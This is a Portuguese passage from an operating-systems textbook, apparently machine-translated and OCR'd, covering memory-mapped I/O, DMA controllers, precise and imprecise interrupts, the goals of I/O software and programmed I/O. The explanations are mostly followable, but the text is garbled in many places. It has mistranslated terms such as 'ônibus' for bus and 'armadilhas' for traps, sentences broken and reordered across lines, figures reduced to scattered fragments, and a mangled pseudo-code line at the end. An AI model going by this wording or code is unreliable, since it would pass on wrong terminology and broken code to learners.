dedicado de alta velocidade, como mostrado na Figura 5.3(b). O barramento é adaptado para otimizar 
o desempenho da memória, sem comprometer a lentidão dos dispositivos de E/S. Os sistemas x86 
podem ter vários barramentos (memória, PCle, SCSI e USB), conforme mostrado em 
Figura 1-12. 

O problema de ter um barramento de memória separado em máquinas mapeadas em memória 
é que os dispositivos de E/S não têm como ver os endereços de memória à medida que passam. 
no barramento de memória, então eles não têm como responder a eles. Novamente, medidas especiais 
devem ser tomadas para fazer a E/S mapeada em memória funcionar em um sistema com múltiplos 
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ônibus. Uma possibilidade é primeiro enviar todas as referências de memória para a memória. Se o 
a memória não responde, então a CPU tenta os outros barramentos. Este desenho pode ser 
feito para funcionar, mas requer complexidade de hardware adicional. 

Um segundo projeto possível é colocar um dispositivo de espionagem no barramento de memória para 
passar todos os endereços apresentados para dispositivos de E/S potencialmente interessados. O problema aqui 
é que os dispositivos de E/S podem não ser capazes de processar solicitações na velocidade que a memória 
pode. 

Um terceiro projeto possível, e que combinaria bem com o projeto esboçado em 
A Figura 1.12 serve para filtrar endereços no controlador de memória. Nesse caso, a memória 
O chip controlador contém registros de intervalo que são pré-carregados no momento da inicialização. Por 
exemplo, 640K a 1M 1 poderia ser marcado como um intervalo sem memória. Endereços que caem 
dentro de um dos intervalos marcados como sem memória são encaminhados para dispositivos em vez de 
para a memória. A principal desvantagem deste esquema é a necessidade de descobrir pelo menos 
tempo de inicialização quais endereços de memória não são realmente endereços de memória. Assim cada 
O esquema tem argumentos a favor e contra, portanto compromissos e compensações são inevitáveis, 


especialmente quando a compatibilidade retroativa com sistemas legados é importante. 


5.1.4 Acesso direto à memória 


Não importa se uma CPU possui ou não E/S mapeada em memória, ela precisa 
para endereçar os controladores de dispositivo para trocar dados com eles. A CPU pode solicitar 
dados de um controlador de E/S, um byte por vez, mas isso desperdiça o tempo da CPU, 
portanto, um esquema diferente, chamado DMA (Direct Memory Access) é frequentemente usado. Para 
simplificando a explicação, assumimos que a CPU acessa todos os dispositivos e memória 
através de um único barramento de sistema que conecta a CPU, a memória e os dispositivos de E/S, como 
mostrado na Figura 5-4. Já sabemos que a verdadeira organização nos sistemas modernos 
é mais complicado, mas todos os princípios são os mesmos. O sistema operacional pode 
use DMA apenas se o hardware tiver um controlador DMA, o que a maioria dos sistemas faz. 

Às vezes, este controlador é integrado em controladores de disco e outros controladores, 

mas tal projeto requer um controlador DMA separado para cada dispositivo. Mais comumente, um único 
controlador DMA está disponível (por exemplo, na placa-mãe) para regular transferências para vários 
dispositivos, muitas vezes simultaneamente. 

Não importa onde esteja fisicamente localizado, o controlador DMA tem acesso ao 
barramento do sistema independente da CPU, conforme mostrado na Figura 5-4. Ele contém vários registros 
que podem ser escritos e lidos pela CPU. Estes incluem um endereço de memória 
registrador, um registrador de contagem de bytes e um ou mais registradores de controle. Os registradores de 
controle especificam a porta de E/S a ser usada, a direção da transferência (leitura da porta de E/S 
dispositivo ou gravação no dispositivo de E/S), a unidade de transferência (byte por vez ou palavra por vez). 
tempo) e o número de bytes a serem transferidos em uma rajada. 

Para explicar como funciona o DMA, considere como os dados são lidos, digamos, de um disco. Deixar 
Vamos primeiro ver como ocorrem as leituras de disco quando o DMA não é usado. Primeiro, o controlador de 
disco lê o bloco (um ou mais setores) da unidade em série, bit a bit, até 
todo o bloco é armazenado no buffer interno do controlador. A seguir, ele calcula o 
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S e Dirigir 
programa o 


CPU controlador Controlador DMA Controlador de digco memória 
DMA 


1. CPU 


Principal 


Amortecedor 


2. DMA solicita 


Interromper quando 
feito 


transferência para memória 3. Dados transferidos 


=. Ônibus 


Figura 5-4. Operação de uma transferência DMA. 


soma de verificação para verificar se nenhum erro de leitura ocorreu. Então o controlador causa 
uma interrupção. Quando o sistema operacional começa a funcionar, ele pode ler o bloco de disco 
do buffer do controlador, um byte ou uma palavra por vez, executando um loop, com cada iteração 
lendo um byte ou palavra de um registrador de dispositivo do controlador e armazenando-o na 
memória principal. . 

Quando o DMA é usado, o procedimento é diferente. Primeiro, a CPU programa o controlador 
DMA configurando seus registros para que ele saiba o que transferir e para onde (etapa 1 na 
Figura 5.4). Ele também emite um comando para o controlador de disco solicitando que ele leia os 
dados do disco em seu buffer interno e verifique a soma de verificação. Quando dados válidos 
estão no buffer do controlador de disco, o DMA pode começar. 

O controlador DMA inicia a transferência emitindo uma solicitação de leitura pelo barramento 
para o controlador de disco (etapa 2). Essa solicitação de leitura se parece com qualquer outra 
solicitação de leitura, e o controlador de disco não sabe (ou não se importa) se veio da CPU ou de 
um controlador DMA. Normalmente, o endereço de memória para gravação está nas linhas de 
endereço do barramento, portanto, quando o controlador de disco busca a próxima palavra em 
seu buffer interno, ele sabe onde gravá-la. A gravação na memória é outro ciclo de barramento 
padrão (etapa 3). Quando a gravação é concluída, o controlador de disco envia um sinal de 
confirmação ao controlador DMA, também pelo barramento (etapa 4). O controlador DMA então 
aumenta o endereço de memória a ser usado e diminui a contagem de bytes. 

Se a contagem de bytes ainda for maior que 0, as etapas 2 a 4 serão repetidas até que a contagem 
chegue a 0. Nesse momento, o controlador DMA interrompe a CPU para informá-la de que a 
transferência foi concluída. Quando o sistema operacional é inicializado, não é necessário copiar 

o bloco do disco para a memória; já está lá. 

Os controladores DMA variam consideravelmente em sua sofisticação. Os mais simples 
realizam uma transferência por vez, conforme descrito acima. Os mais complexos podem ser 
programados para lidar com múltiplas transferências ao mesmo tempo. Esses controladores 
possuem vários conjuntos de registradores internamente, um para cada canal. A CPU começa carregando 
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cada conjunto de registros com os parâmetros relevantes para sua transferência. Cada transferência 
deve usar um controlador de dispositivo diferente. Após cada palavra ser transferida (etapas 2 a 4) na 
Figura 5-4, o controlador DMA decide qual dispositivo será atendido em seguida. Ele pode ser 
configurado para usar um algoritmo round-robin ou pode ter um projeto de esquema de prioridade para 
favorecer alguns dispositivos em detrimento de outros. Várias solicitações para controladores de 
dispositivos diferentes podem estar pendentes ao mesmo tempo, desde que haja uma maneira 
inequívoca de diferenciar as confirmações. Frequentemente, uma linha de confirmação diferente no 
barramento é usada para cada canal DMA por esse motivo. 

Muitos barramentos podem operar em dois modos: modo palavra por vez e modo bloco. 
Frequentemente, os controladores DMA também podem operar em qualquer um dos modos. No 
primeiro modo, a operação é conforme descrita acima: o controlador DMA solicita a transferência de 
uma palavra e a obtém. Se a CPU também quiser o barramento, ela terá que esperar. O mecanismo é 
chamado de roubo de ciclo porque o controlador do dispositivo entra furtivamente e rouba um ciclo 
de barramento ocasional da CPU de vez em quando, atrasando-o um pouco. No modo de bloco, o 
controlador DMA informa ao dispositivo para adquirir o barramento, emitir uma série de transferências 
e então liberar o barramento. Esta forma de operação é chamada de modo burst. É mais eficiente do 
que o roubo de ciclo porque a aquisição do barramento leva tempo e várias palavras podem ser 
transferidas pelo preço de aquisição de um barramento. A desvantagem do modo burst é que ele pode 
bloquear a CPU e outros dispositivos por um período substancial se um burst longo estiver sendo 
transferido. 

No modelo que discutimos, às vezes chamado de modo fly-by, o controlador DMA informa ao 
controlador do dispositivo para transferir os dados diretamente para a memória principal. Um modo 
alternativo usado por alguns controladores DMA é fazer com que o controlador do dispositivo envie a 
palavra ao controlador DMA, que então emite uma segunda solicitação de barramento para escrever a 
palavra onde quer que ela vá. Este esquema requer um ciclo de barramento extra por palavra 
transferida, mas é mais flexível porque também pode realizar cópias de dispositivo para dispositivo e 
até mesmo cópias de memória para memória (primeiro emitindo uma leitura na memória e depois 
emitindo uma gravação na memória em um endereço diferente). 

A maioria dos controladores DMA usa endereços de memória física para suas transferências. 

O uso de endereços físicos exige que o sistema operacional converta o endereço virtual do buffer de 
memória pretendido em um endereço físico e grave esse endereço físico no registro de endereço do 
controlador DMA. Um esquema alternativo usado em alguns controladores DMA é escrever endereços 
virtuais no controlador DMA. 

Em seguida, o controlador DMA deve usar a MMU para realizar a tradução do virtual para o físico. 
Somente quando a MMU faz parte da memória (possível, mas raro), e não da CPU, os endereços 
virtuais podem ser colocados no barramento. No cap. 7, veremos que um IOMMU (um MMU para E/S) 
oferece funcionalidade semelhante: ele traduz os endereços virtuais usados pelos dispositivos em 
endereços físicos. Em outras palavras, o endereço virtual de um buffer utilizado por um dispositivo 
pode ser diferente do endereço virtual utilizado para o mesmo buffer pela CPU, embora ambos sejam 
diferentes do endereço físico correspondente. 


Mencionamos anteriormente que antes que o DMA possa ser iniciado, o disco primeiro lê os dados 
em seu buffer interno. Você pode estar se perguntando por que o controlador não armazena apenas o 
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bytes na memória principal assim que os obtém do disco. Em outras palavras, por que 
ele precisa de um buffer interno? Existem duas razões. Primeiro, fazendo internamente 
buffer, o controlador de disco pode verificar a soma de verificação antes de iniciar uma transferência. Se 
a soma de verificação está incorreta, um erro é sinalizado e nenhuma transferência é feita. 
A segunda razão é que, uma vez iniciada a transferência de disco, os bits continuam chegando 
do disco a uma taxa constante, esteja o controlador pronto para eles ou não. Se 
o controlador tentasse gravar dados diretamente na memória, teria que passar pelo 
barramento do sistema para cada palavra transferida. Se o barramento estivesse ocupado devido a algum outro 
dispositivo que o utilizasse (por exemplo, no modo burst), o controlador teria que esperar. Se o próximo 
palavra do disco chegasse antes que a anterior tivesse sido armazenada, o controlador 
tem que armazená-lo em algum lugar. Se o barramento estivesse muito ocupado, o controlador poderia acabar 
armazenar algumas palavras e ter muita administração para fazer também. Quando 
o bloco é armazenado em buffer internamente, o barramento não é necessário até que o DMA comece, então o 
O design do controlador é muito mais simples porque a transferência de DMA para a memória é 
não é crítico em termos de tempo. (Alguns controladores mais antigos, de fato, iam diretamente para a memória com 
apenas uma pequena quantidade de buffer interno, mas quando o barramento estava muito ocupado, uma 
transferência poderia ter sido encerrada com um erro de saturação de buffer.) 
Alguns computadores não usam DMA. O argumento contra isso pode ser que o 
A CPU principal costuma ser muito mais rápida que o controlador DMA e pode fazer o trabalho muito mais 
mais rápido (quando o fator limitante não é a velocidade do dispositivo de E/S). Se não há 
outro trabalho a ser feito, fazendo com que a CPU (rápida) espere pelo controlador DMA (lento) 
terminar é inútil. Além disso, livrar-se do controlador DMA e ter a CPU 
fazer todo o trabalho em software economiza dinheiro, o que é importante em computadores de baixo custo 
(embutidos). 


5.1.5 Interrupções revisitadas 


Introduzimos brevemente as interrupções na Seção. 1.3.4, mas há mais a ser dito. 
Antes de começarmos, você deve saber que a literatura é confusa quando se trata de 
interrompe. Livros didáticos e páginas da Web podem usar o termo para se referir a interrupções de hardware, 
armadilhas, exceções, falhas e algumas outras coisas. O que esses termos significam? 
Geralmente usamos trap para nos referir a uma ação deliberada do código do programa, por exemplo. 
por exemplo, uma armadilha no kernel para uma chamada do sistema. Uma falha ou exceção é semelhante, 
exceto que geralmente não é deliberado. Por exemplo, o programa pode desencadear uma 
falha de segmentação quando tenta acessar a memória que não tem permissão para acessar ou 
quer aprender quanto é 100 dividido por zero. Em contraste, agora falaremos principalmente 
sobre interrupções de hardware, onde um dispositivo como uma impressora ou uma rede envia um sinal para a 
CPU. A razão pela qual todos esses termos são frequentemente agrupados é que 
eles são tratados de maneira semelhante, mesmo que sejam acionados de maneira diferente. Nesta seção, 
examinamos o lado do hardware. Na Seção 5.3, nos voltaremos para o tratamento adicional de interrupções pelo 
software. 

A Figura 5-5 mostra a estrutura de interrupção em um sistema típico de computador pessoal. 


Nesse aspecto, um smartphone ou tablet funciona da mesma forma. No nível do hardware, 
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interrompe o trabalho da seguinte maneira. Quando um dispositivo de E/S termina o trabalho que lhe foi atribuído, ele 
causa uma interrupção (assumindo que as interrupções foram habilitadas pelo operacional 
sistema), afirmando um sinal em uma linha de barramento que foi atribuído a ela. Este sinal é 


detectado pelo chip controlador de interrupção na placa-mãe, que então decide 
o que fazer. 


Interromper 1. O dispositivo está concluído 


CPU controlador 
3. Ataques de CPU / 


interromper 


Teclado 


2. Problemas de 


controlador 


qj Impressora 
| interromper | $ 


Ônibus 


Figura 5-5. Como acontece uma interrupção. As conexões entre os dispositivos e 
o controlador realmente usa linhas de interrupção no barramento em vez de fios dedicados. 


Se nenhuma outra interrupção estiver pendente, o controlador de interrupção trata a interrupção 
imediatamente. Entretanto, se outra interrupção estiver em andamento ou outro dispositivo tiver 
fez uma solicitação simultânea em uma linha de solicitação de interrupção de maior prioridade no barramento, 
o dispositivo é simplesmente ignorado no momento. Neste caso, continua a afirmar uma 
sinal de interrupção no barramento até que ele seja atendido pela CPU. 

Para lidar com a interrupção, o controlador coloca um número nas linhas de endereço específicas 
identificar qual dispositivo deseja atenção e emite um sinal para interromper a CPU. 

O sinal de interrupção faz com que a CPU pare o que está fazendo e comece a fazer 
algo mais. O número nas linhas de endereço é usado como índice em uma tabela 
chamou o vetor de interrupção para buscar um novo contador de programa. Este contador de programa 
aponta para o início do procedimento de serviço de interrupção correspondente. Normalmente armadilhas, 
exceções e interrupções usam o mesmo mecanismo a partir deste ponto, muitas vezes compartilhando o mesmo 
vetor de interrupção. A localização do vetor de interrupção pode ser conectada 
na máquina ou pode estar em qualquer lugar da memória, com um registro da CPU (carregado pelo 
o sistema operacional) apontando para sua origem. 

Pouco depois de começar a ser executado, o procedimento de serviço de interrupção reconhece 
a interrupção escrevendo um determinado valor em uma das portas de E/S do controlador de interrupção. 
Esta confirmação informa ao controlador que ele está livre para emitir outra interrupção. 
Fazendo com que a CPU atrase esse reconhecimento até que esteja pronta para lidar com o próximo 
interrupção, condições de corrida envolvendo múltiplas interrupções (quase simultâneas) podem 
ser evitado. Além disso, alguns computadores (mais antigos) não possuem um controlador de interrupção 
centralizado, portanto cada controlador de dispositivo solicita suas próprias interrupções. 

O hardware sempre salva certas informações antes de iniciar o procedimento de serviço. Quais informações 


são salvas e onde são salvas variam muito de CPU para 
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CPU. No mínimo, o contador do programa deve ser salvo, para que o processo interrompido possa 
ser reiniciado. No outro extremo, todos os registos visíveis e um grande número de registos internos 
também podem ser guardados. 

Outra questão é onde salvar essas informações. Uma opção é colocá-lo em registros internos 
que o sistema operacional possa ler conforme necessário. Contudo, um problema com esta 
abordagem é que o controlador de interrupção não pode ser reconhecido até que todas as 
informações potencialmente relevantes tenham sido lidas, para que uma segunda interrupção não 
substitua os registradores internos, salvando o estado. Essa estratégia leva a longos tempos mortos 
quando as interrupções são desativadas e possivelmente à perda de interrupções e de dados. 

Consegúentemente, a maioria das CPUs salva as informações na pilha. No entanto, esta 
abordagem também apresenta problemas. Para começar: de quem é a pilha? Se a pilha atual for 
usada, pode muito bem ser uma pilha de processos do usuário. O ponteiro da pilha pode nem ser 
legal, o que causaria um erro fatal quando o hardware tentasse escrever algumas palavras no 
endereço apontado. Além disso, pode apontar para perto do final de uma página. Após várias 
gravações na memória, o limite da página pode ser excedido e uma falha de página pode ser 
gerada. A ocorrência de uma falha de página durante o processamento de interrupção de hardware 
cria um problema maior: onde salvar o estado para tratar a falha de página? 

Se a pilha do kernel for usada, há uma chance muito maior de o ponteiro da pilha ser legal e 
apontar para uma página fixada. No entanto, mudar para o modo kernel pode exigir a alteração dos 
contextos do MMU e provavelmente invalidará a maior parte ou todo o cache e o TLB. Recarregar 
tudo isso, estática ou dinamicamente, aumentará o tempo para processar uma interrupção e, assim, 
desperdiçará tempo de CPU em um momento crítico. 

Até agora, discutimos o tratamento de interrupções principalmente do ponto de vista do 


hardware. No entanto, também há muitos softwares envolvidos na E/S. Veremos a pilha de software 
de E/S em detalhes na Seç. 5.3. 


Interrupções precisas e imprecisas 


Outro problema é causado pelo fato de que a maioria das CPUs modernas são fortemente 
pipelines e muitas vezes superescalares (internamente paralelas). Em sistemas mais antigos, após 
o término da execução de cada instrução, o microprograma ou hardware verificava se havia uma 
interrupção pendente. Nesse caso, o contador do programa e o PSW foram colocados na pilha e a 
sequência de interrupção iniciada. Após a execução do manipulador de interrupções, o processo 
inverso ocorreu, com o antigo PSW e o contador do programa retirados da pilha e o processo 
anterior continuado. 

Este modelo faz a suposição implícita de que se uma interrupção ocorrer logo após alguma 
instrução, todas as instruções até aquela instrução, inclusive, foram executadas completamente, e 
nenhuma instrução após ela ter sido executada. Em máquinas mais antigas, esta suposição sempre 
foi válida. Nos modernos, pode não ser. 

Para começar, considere o modelo de pipeline da Figura 1.7(a). O que acontece se ocorrer 
uma interrupção enquanto o pipeline estiver cheio (o caso usual)? Muitas instruções estão em 
vários estágios de execução. Quando ocorre a interrupção, o valor do contador do programa pode 
não refletir o limite correto entre as instruções executadas e as instruções executadas. 
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instruções não executadas. Na verdade, muitas instruções podem ter sido parcialmente executadas, com 
instruções diferentes sendo mais ou menos completas. Nessa situação, o contador do programa 
provavelmente reflete o endereço da próxima instrução a ser buscada e inserida no pipeline, em vez do 
endereço da instrução que acabou de ser processada pela unidade de execução. 


Em uma máquina superescalar, como a da Figura 1.7(b), as coisas são ainda piores. 
As instruções da CPU podem ser decompostas internamente nas chamadas microoperações e essas 
microoperações podem ser executadas fora de ordem, dependendo da disponibilidade de recursos 
internos, como unidades funcionais e registradores (ver também Seção 2.5.9). No momento de uma 
interrupção, algumas instruções emitidas há muito tempo podem não estar nem perto de serem concluídas 
e outras iniciadas mais recentemente podem estar (quase) concluídas. Isso não é um problema, pois a 
CPU simplesmente armazenará em buffer os resultados de cada instrução até que todas as instruções 
anteriores também tenham sido concluídas e então confirmará todas elas em ordem. 
Entretanto, isso significa que no momento em que uma interrupção é sinalizada, pode haver muitas 
instruções em vários estados de completude, e não há muita relação entre elas e o contador do programa. 


Uma interrupção que deixa a máquina em um estado bem definido é chamada de interrupção precisa. 
interrupção (Walker e Cragon, 1995). Tal interrupção tem quatro propriedades: 


1. O PC (Program Counter) é salvo em local conhecido. 
2. Todas as instruções anteriores àquelas apontadas pelo PC foram concluídas. 
3. Nenhuma instrução além daquela apontada pelo PC foi concluída. 


4. O estado de execução da instrução apontada pelo PC é conhecido. 


Observe que mesmo com interrupções precisas não há proibição de inicialização de instruções além 
daquela apontada pelo PC. Acontece apenas que quaisquer alterações feitas nos registradores ou na 
memória devem ser completamente desfeitas quando a interrupção ocorrer. Isto é o que muitas 
arquiteturas de processador, incluindo o x86, tentam fazer. Como a CPU apaga todos os efeitos visíveis 
como se essas instruções nunca fossem executadas, chamamos as instruções de transitórias. Essa 
execução transitória ocorre por vários motivos (Ragab et al., 2021). Já vimos que uma falha ou interrupção 
que ocorre durante a execução de uma instrução enquanto algumas instruções posteriores já foram 
concluídas exige que o processador descarte os resultados dessas instruções posteriores. No entanto, as 
CPUs modernas empregam muitos outros truques para melhorar o desempenho. Por exemplo, a CPU 
pode especular sobre o resultado de uma ramificação condicional. Se o resultado de uma condição if foi 
TRUE nas últimas 50 vezes, a CPU assumirá que também será verdadeiro na 51º vez e especulativamente 
começará a buscar e executar as instruções para o ramo TRUE. É claro que, se a 51º vez foi diferente e o 
resultado for realmente FALSO, estas instruções devem agora ser transitórias. A execução transitória tem 
sido a fonte de todos os tipos de problemas de segurança, mas não é isso que precisamos discutir agora 

e deixamos isso para o Capítulo 9. 
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Enquanto isso, quando ocorre uma interrupção, o que deve acontecer com a instrução para a 
qual o PC está apontando no momento? É permitido que esta instrução tenha sido executada. 
Também é permitido que não tenha sido executado. No entanto, deve ficar claro qual caso se aplica. 
Muitas vezes, se a interrupção for uma interrupção de E/S, a instrução ainda não terá sido iniciada. 
Entretanto, se a interrupção for realmente um trap ou uma falha de página, então o PC geralmente 
aponta para a instrução que causou a falha para que possa ser reiniciado mais tarde. A situação da 
Figura 5.6(a) ilustra uma interrupção precisa. Todas as instruções até o contador do programa (316) 
foram concluídas e nenhuma das que estão além dele foi iniciada (ou foi revertida para desfazer seus 
efeitos). 


332 
Não executado 


Não executado 328 
324 


320 
PC —> 316PC312 ——> 


332 
328 
324 
320 
316 
312 
308 
304 
300 


Não executado 
10% executado 
40% executado 
35% executado 
20% executado 


Não executado 
Não executado 


00% executado 


(a) 


Figura 5-6. (a) Uma interrupção precisa. (b) Uma interrupção imprecisa. 


Uma interrupção que não atende a esses requisitos é chamada de interrupção imprecisa e 
torna a vida muito desagradável para o criador do sistema operacional, que agora precisa descobrir o 
que aconteceu e o que ainda precisa acontecer. A Figura 5.6(b) ilustra uma interrupção imprecisa, 
onde diferentes instruções próximas ao contador do programa estão em diferentes estágios de 
conclusão, com as mais antigas não necessariamente mais completas que as mais novas. Máquinas 
com interrupções imprecisas geralmente vomitam uma grande quantidade de estado interno na pilha 
para dar ao sistema operacional a possibilidade de descobrir o que está acontecendo. O código 
necessário para reiniciar a máquina normalmente é extremamente complicado. Além disso, salvar 
uma grande quantidade de informações na memória em cada interrupção torna as interrupções lentas 
e a recuperação ainda pior. Isso leva à situação irônica de CPUs superescalares muito rápidas, às 
vezes inadequadas para trabalho em tempo real devido a interrupções lentas. 


Alguns computadores são projetados para que alguns tipos de interrupções e armadilhas sejam 
precisos e outros não. Por exemplo, fazer com que as interrupções de E/S sejam precisas, mas que 
os traps devido a erros fatais de programação sejam imprecisos, não é tão ruim, já que nenhuma 
tentativa precisa ser feita para reiniciar um processo em execução após ele ter sido dividido por zero. 
Nesse ponto, tendo feito algo que é infinitamente ruim, está brinde de qualquer maneira. Algumas 
máquinas possuem um bit que pode ser configurado para forçar a precisão de todas as interrupções. 
A desvantagem de definir esse bit é que ele força a CPU a registrar cuidadosamente tudo o que está 
fazendo e a manter cópias de sombra dos registradores para que possa gerar uma interrupção precisa 
a qualquer instante. Toda essa sobrecarga tem um grande impacto no desempenho. 
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Algumas máquinas superescalares, como a família x86, possuem interrupções precisas para permitir 
que softwares antigos funcionem corretamente. O preço pago pela compatibilidade retroativa com interrupções 
precisas é uma lógica de interrupção extremamente complexa dentro da CPU para garantir que quando o 
controlador de interrupção sinalizar que deseja causar uma interrupção, todas as instruções até certo ponto 
poderão terminar e nenhuma além desse ponto podem ter qualquer efeito perceptível no estado da máquina. 
Aqui o preço não é pago no tempo, mas na área do chip e na complexidade do design. Se interrupções 
precisas não fossem necessárias para fins de compatibilidade com versões anteriores, esta área do chip 
estaria disponível para caches maiores no chip, tornando a CPU mais rápida. Por outro lado, interrupções 
imprecisas tornam o sistema operacional muito mais complicado, menos seguro devido à complexidade e 
mais lento, por isso é difícil dizer qual abordagem é realmente melhor. 


Além disso, como mencionado anteriormente, veremos no Cap. 9 que todas as instruções cujos efeitos 
no estado da máquina foram desfeitos (e que são, portanto, transitórias) podem ser problemáticas ainda do 
ponto de vista da segurança. A razão é que nem todos os efeitos são desfeitos. Em particular, deixam rastros 
profundos na microarquitetura (onde encontramos o cache, o TLB e outros componentes) que um invasor 
pode usar para vazar informações confidenciais. 


5.2 PRINCÍPIOS DO SOFTWARE DE E/S 


Vamos agora nos afastar do hardware de E/S e examinar o software de E/S. Primeiro veremos seus 
objetivos e depois as diferentes maneiras pelas quais a E/S pode ser realizada do ponto de vista do sistema 
operacional. 


5.2.1 Objetivos do Software de E/S 


Um conceito chave no projeto de software de E/S é conhecido como independência de dispositivo. 
O que isso significa é que deveríamos ser capazes de escrever programas que possam acessar qualquer 
dispositivo de E/S sem precisar especificar o dispositivo antecipadamente. Por exemplo, um programa que 
lê um arquivo como entrada deve ser capaz de ler um arquivo em um disco rígido, SSD ou pendrive sem 
precisar ser modificado para cada dispositivo diferente. Da mesma forma, deve-se ser capaz de digitar um 
comando como 


classificar <entrada >saída 


e fazê-lo funcionar com entrada proveniente de qualquer tipo de dispositivo de armazenamento ou teclado e 
a saída indo para qualquer tipo de dispositivo de armazenamento ou tela. Cabe ao sistema operacional 
cuidar dos problemas causados pelo fato de esses dispositivos realmente serem diferentes e exigirem 
sequências de comandos muito diferentes para ler ou escrever. 


Intimamente relacionado à independência do dispositivo está o objetivo da nomenclatura uniforme. O 
nome de um arquivo ou dispositivo deve ser simplesmente uma string ou um número inteiro e não depender de 
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o dispositivo de qualquer forma. No UNIX, todos os discos podem ser integrados na hierarquia do sistema de arquivos 
de maneiras arbitrárias, de modo que o usuário não precise saber qual nome corresponde. 
para qual dispositivo. Por exemplo, um pendrive USB pode ser montado no topo do diretório 
/usr/ast/ backup para que copiar um arquivo para /usr/ast/backup/monday copie o arquivo para 
o pendrive. Desta forma, todos os arquivos e dispositivos são endereçados da mesma forma: por um 
nome do caminho. 

Outra questão importante para software de E/S é o tratamento de erros. Em geral, erros 
deve ser manuseado o mais próximo possível do hardware. Se o controlador descobrir 
um erro de leitura, ele deverá tentar corrigir o erro sozinho, se puder. Se não puder, então o 
driver de dispositivo deve lidar com isso, talvez apenas tentando ler o bloco novamente. Muitos 
os erros são transitórios, como erros de leitura causados por partículas de poeira no cabeçote de leitura 
de um disco e desaparecerá frequentemente se a operação for repetida. Somente se o 
as camadas inferiores não são capazes de lidar com o problema caso as camadas superiores sejam informadas 
sobre isso. Em muitos casos, a recuperação de erros pode ser feita de forma transparente e em um nível baixo. 
sem que os níveis superiores sequer soubessem do erro. 

Ainda outra questão importante é a das transferências síncronas (bloqueadas) versus assíncronas (orientadas 
por interrupções). A maioria das E/S físicas é assíncrona, ou seja, 
a CPU inicia a transferência e sai para fazer outra coisa até a interrupção 
chega. Os programas do usuário são muito mais fáceis de escrever se as operações de E/S estiverem bloqueadas — 
após uma chamada de leitura do sistema, o programa é automaticamente suspenso até que os dados sejam gravados. 
estão disponíveis no buffer. Cabe ao sistema operacional realizar operações que 
são, na verdade, bloqueios de aparência acionados por interrupções para os programas do usuário. No entanto, alguns 
aplicativos de alto desempenho precisam controlar todos os detalhes da E/S, então 
os sistemas operacionais também disponibilizam E/S assíncronas para eles. 

Outro problema para o software de E/S é o buffer. Muitas vezes os dados que saem de um dispositivo não 
podem ser armazenados diretamente no seu destino final. Por exemplo, quando um pacote 
sai da rede, o sistema operacional não sabe onde colocá-lo até 
ele armazenou o pacote em algum lugar e o examinou para ver a qual porta ele está endereçado. Além disso, alguns 
dispositivos têm severas restrições em tempo real (por exemplo, 
dispositivos de áudio), portanto, os dados devem ser colocados em um buffer de saída com antecedência para desacoplar 
a taxa na qual o buffer é preenchido a partir da taxa na qual ele é esvaziado, a fim de 
evitar subexecuções de buffer. O buffer envolve cópias consideráveis e muitas vezes tem um 
grande impacto no desempenho de E/S. 

O conceito final que mencionaremos aqui é o de dispositivos compartilháveis versus dispositivos dedicados. 
Alguns dispositivos de E/S, como discos e SSDs, podem ser usados por muitos usuários ao mesmo tempo. 
mesmo tempo. Nenhum problema é causado por vários usuários terem arquivos abertos no 
mesmos dispositivos de armazenamento ao mesmo tempo. Outros dispositivos, como impressoras, devem ser 
dedicado a um único usuário até que esse usuário termine. Então outro usuário pode ter o 
impressora. Ter dois ou mais usuários escrevendo caracteres misturados aleatoriamente no 
a mesma página definitivamente não funcionará. Os scanners também são assim. Apresentando 
dispositivos dedicados (não compartilhados) também apresentam uma variedade de problemas, como bloqueios 
mortos. Novamente, o sistema operacional deve ser capaz de lidar com dispositivos compartilhados e dedicados de 


forma a evitar problemas. 
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5.2.2 E/S programada 


Existem três maneiras fundamentalmente diferentes de realizar E/S. Nesta seção veremos o 
primeiro (E/S programada). Nas próximas duas seções examinaremos os outros (E/S orientada por 
interrupção e E/S usando DMA). A forma mais simples de E/S é fazer com que a CPU faça todo o 
trabalho. Este método é chamado de E/S programada. 


É mais simples ilustrar como funciona a E/S programada por meio de um exemplo. 
Considere um processo de usuário que deseja imprimir a sequência de oito caracteres "ABCDE 
FGH" na impressora por meio de uma interface serial. As telas em pequenos sistemas embarcados 
às vezes funcionam dessa maneira. O software primeiro monta a string em um buffer no espaço do 
usuário, como mostrado na Figura 5.7(a). 


String a ser 
Espaço 2 impressa 
do usuário | Impresso Impresso 
página página 
A 
Próximo 

Espaço 
do kernel Se 

EFGH 

(a) (b) (o) 


Figura 5-7. Etapas para imprimir uma string. 


O processo do usuário então adquire a impressora para gravação fazendo uma chamada de 
sistema para abri-la. Se a impressora estiver sendo usada por outro processo, esta chamada falhará 
e retornará um código de erro ou será bloqueada até que a impressora esteja disponível, dependendo 
do sistema operacional e dos parâmetros da chamada. Assim que tiver a impressora, o processo do 
usuário faz uma chamada de sistema informando ao sistema operacional para imprimir a string. 

O sistema operacional então (geralmente) copia o buffer com a string para um array, no espaço 
do kernel, onde é mais facilmente acessado (porque o kernel pode ter que alterar o mapa de memória 
para chegar ao espaço do usuário) e também protegido contra modificações. pelo processo do 
usuário. Em seguida, ele verifica se a impressora está disponível no momento. 

Se não, ele espera até que seja. Assim que a impressora estiver disponível, o sistema operacional 
copia o primeiro caractere para o registro de dados da impressora, neste exemplo usando E/S 
mapeada na memória. Esta ação ativa a impressora. O caractere pode não aparecer ainda porque 
algumas impressoras armazenam uma linha ou página em buffer antes de imprimir qualquer coisa. 
Na Figura 5.7(b), entretanto, vemos que o primeiro caractere foi impresso e que o sistema marcou o 
“B” como o próximo caractere a ser impresso. 
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Assim que copiar o primeiro caractere para a impressora, o sistema operacional verifica se a 
impressora está pronta para aceitar outro. Geralmente, a impressora possui um segundo registro, 
que fornece seu status. O ato de escrever no registrador de dados faz com que o status fique não 
pronto. Quando o controlador da impressora tiver processado o caractere atual, ele indica sua 
disponibilidade definindo algum bit em seu registro de status ou colocando algum valor nele. 


Neste ponto, o sistema operacional aguarda que a impressora fique pronta novamente. 
Quando isso acontece, ele imprime o próximo caractere, conforme mostrado na Figura 5.7(c). Este 
loop continua até que toda a string seja impressa. Então o controle retorna ao processo do usuário. 


As ações seguidas pelo sistema operacional estão brevemente resumidas na Figura 5.8. 
Primeiro, os dados são copiados para o kernel. Em seguida, o sistema operacional entra em um 
loop apertado, exibindo os caracteres um de cada vez. O aspecto essencial da E/S programada, 
claramente ilustrado nesta figura, é que após a saída de um caractere, a CPU sonda continuamente 
o dispositivo para ver se ele está pronto para aceitar outro. 


Esse comportamento costuma ser cnamado de pesquisa ou espera ocupada. 


copiar do usuário(buffer, p, contagem); for (i [x p é buffer do kernel *//* loop 

